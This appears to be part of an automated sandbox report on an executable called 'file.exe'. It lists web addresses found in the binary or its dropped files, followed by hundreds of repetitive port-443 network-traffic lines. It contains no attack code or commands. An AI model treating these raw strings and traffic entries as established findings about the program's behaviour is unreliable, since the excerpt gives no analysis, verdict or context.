Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000002.1813754900.0000000000C44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1715774918.00000000240C8000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1813754900.0000000000C44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1715774918.00000000240C8000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1813754900.0000000000C44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.office.com
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.tiktok.com/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.youtube.com
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
